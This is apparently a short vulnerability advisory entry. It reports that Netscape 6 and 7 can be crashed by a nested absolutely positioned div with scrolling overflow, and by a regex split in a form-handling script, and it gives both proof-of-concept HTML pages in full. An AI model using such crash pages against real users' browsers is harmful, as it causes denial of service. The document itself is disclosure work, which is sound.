COMMAND
Netscape crashes by a simple stylesheet...
SYSTEMS AFFECTED
Netscape 6/7
PROBLEM
Jocke [[email protected]] says :
I've found out that some simple CSS-code can crash Netscape 6 and 7.
This is a simple html-page containing this code:
<html>
<body>
<div style="position:absolute;">
<div style="position:absolute; overflow:scroll">
</div>
</div>
</body>
</html>

======
dwm adds :
while we're on the subject...just this week I reported to Netscape that
this simple invalid (?) use of regex in "split" can also crash 7.x on
windows. Woopdidoo.

<html>
<head>
<title>test</title>
<--script-- language="JavaScript">
function reformatDate(someDate) {
var tokens = someDate.split(/(\/|-)/);
if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
var result = tokens[2] + tokens[1] + tokens[0];
alert(result);
//return result;
}
</--script-->
</head>
<body>
<form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);">
MM/DD/YYYY - <input type=text name=dt>
<input type=submit>
</form>
</body>
</html>
SOLUTION
Mozilla seems unaffected
